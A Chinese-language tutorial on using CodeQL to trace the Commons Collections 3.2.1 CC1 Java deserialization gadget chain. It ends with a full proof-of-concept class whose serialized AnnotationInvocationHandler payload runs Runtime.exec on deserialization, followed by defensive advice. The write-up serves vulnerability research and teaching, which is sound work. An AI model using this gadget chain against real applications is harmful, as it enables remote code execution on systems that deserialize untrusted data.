CodeQL分析java反序列化gadget第一期--CC1链
字数 2411 2025-09-01 11:25:54
CodeQL分析Java反序列化Gadget:CC1链详解
0x00 前言
本文将通过CodeQL工具分析Commons Collections 3.2.1中的反序列化漏洞链(CC1链),面向Java反序列化初学者和CodeQL工具初学者。我们将从底层方法开始,逐步构建完整的利用链。
0x01 环境构建
所需环境
- 源码下载:commons-collections-3.2.1-src.zip
- 构建工具:
- JDK 7(Commons Collections 3.2.1不支持JDK8)
- 对应版本的Maven
- CodeQL数据库:
- 建议使用JDK8u101版本的数据库
- 下载链接:百度网盘 提取码: 34a3
构建步骤
- 使用JDK7编译Commons Collections 3.2.1源码
- 使用CodeQL创建数据库:
codeql database create --language=java --command="mvn clean install" ./cc3.2.1-db
0x02 漏洞链分析
第一阶段:Method.invoke调用点
我们从Method.invoke方法作为起点开始分析,寻找可以被反序列化的类中调用此方法的位置。
CodeQL查询:
from MethodAccess ma, Method m
where
m.getName() = "invoke" and
m.getDeclaringType().hasQualifiedName("java.lang.reflect", "Method") and
ma.getMethod() = m and
ma.getEnclosingCallable().getDeclaringType().getASupertype*().hasQualifiedName("java.io", "Serializable")
select ma
查询结果分析:
InvokerTransformer.transform()方法 - CC1链的核心部分PrototypeCloneFactory.clone()方法 - 可利用性较低
InvokerTransformer分析
InvokerTransformer.transform()方法关键代码:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (...) {
// 异常处理
}
}
可控参数:
iMethodName- 方法名iParamTypes- 参数类型数组iArgs- 参数数组
第二阶段:Transformer链式调用
我们需要寻找能够将多个transform操作串联执行的类。
CodeQL查询:
from Class c, Method m, MethodAccess ma
where
c.getASupertype*().hasQualifiedName("org.apache.commons.collections", "Transformer") and
m.getDeclaringType() = c and
m.getName() = "transform" and
ma.getEnclosingCallable() = m and
exists(ma.getMethod().getDeclaringType().getASupertype*() super |
super.hasQualifiedName("org.apache.commons.collections", "Transformer")
)
select c, m, ma
关键发现:
ChainedTransformer类:可以串联执行多个Transformer的transform方法ConstantTransformer类:无论输入是什么,都返回固定值
ChainedTransformer分析
ChainedTransformer.transform()方法:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
利用思路:
- 构造
Transformer数组:Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; - 创建
ChainedTransformer实例并执行
第三阶段:触发transform调用
我们需要找到调用ChainedTransformer.transform的类,要求:
- 实现
Serializable接口 - 方法名不是
transform(避免无限递归) - 方法体中调用
Transformer接口的transform方法
CodeQL查询:
from Class c, Method m, MethodAccess ma, RefType transformer
where
c.getASupertype*().hasQualifiedName("java.io", "Serializable") and
m.getDeclaringType() = c and
m.getName() != "transform" and
ma.getEnclosingCallable() = m and
transformer.hasQualifiedName("org.apache.commons.collections", "Transformer") and
ma.getMethod().getDeclaringType().getASupertype*() = transformer
select c, m, ma
关键发现:
LazyMap.get()方法:当key不存在时,会调用factory.transform(key)
LazyMap分析
LazyMap.get()方法:
public Object get(Object key) {
if (!map.containsKey(key)) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
利用方式:
- 通过
LazyMap.decorate()方法设置恶意的Transformer - 触发
get()方法调用
第四阶段:触发LazyMap.get调用
寻找调用LazyMap.get()的类,要求:
- 实现
Serializable接口 - 方法体中调用
Map.get()方法 get()方法只有一个参数- 调用的是
Map接口或其实现类的方法 - 最好有
readObject方法调用
CodeQL查询:
from Class c, Method m, MethodAccess ma, Parameter p, Method getMethod
where
c.getASupertype*().hasQualifiedName("java.io", "Serializable") and
m.getDeclaringType() = c and
ma.getEnclosingCallable() = m and
getMethod.getName() = "get" and
getMethod.getNumberOfParameters() = 1 and
(getMethod.getDeclaringType().hasQualifiedName("java.util", "Map") or
getMethod.getDeclaringType().getASupertype*().hasQualifiedName("java.util", "Map")) and
ma.getMethod() = getMethod and
exists(m.getSource().find("readObject"))
select c, m, ma
关键发现:
AnnotationInvocationHandler类:- 实现了
InvocationHandler接口(支持动态代理) invoke()方法会调用memberValues.get()readObject()方法会触发代理调用
- 实现了
动态代理机制
利用动态代理触发LazyMap.get():
- 创建
LazyMap实例并设置恶意的Transformer - 使用
AnnotationInvocationHandler作为代理的InvocationHandler - 代理对象调用任何方法(除了
toString、hashCode、equals等)都会触发invoke方法 invoke方法会调用memberValues.get()
0x03 完整利用链
利用链流程
- 反序列化
AnnotationInvocationHandler实例 readObject方法触发代理对象的entrySet方法调用- 代理机制调用
AnnotationInvocationHandler.invoke方法 invoke方法调用memberValues.get()memberValues是LazyMap实例,触发get()方法get()方法调用factory.transform()factory是ChainedTransformer实例,执行一系列transform调用- 最终通过反射执行任意命令
POC构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1POC {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 创建LazyMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
// 创建动态代理
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(
Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler);
// 创建AnnotationInvocationHandler实例
InvocationHandler handler2 = (InvocationHandler) constructor.newInstance(
Override.class, proxyMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler2);
oos.close();
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}
}
0x04 防御措施
- 升级Commons Collections到最新版本(3.2.2+或4.0+)
- 使用JDK内置的序列化过滤器(JEP 290)
- 避免反序列化不可信数据
- 使用白名单机制限制可反序列化的类
0x05 总结
通过CodeQL静态分析,我们完整地还原了CC1反序列化漏洞链的挖掘过程:
- 从
Method.invoke调用点开始 - 分析
InvokerTransformer的可控参数 - 寻找
Transformer链式调用机制(ChainedTransformer) - 寻找触发
transform调用的入口(LazyMap) - 通过动态代理机制(
AnnotationInvocationHandler)触发整个利用链
这种分析方法不仅适用于CC1链,也可以应用于其他反序列化漏洞的研究和挖掘。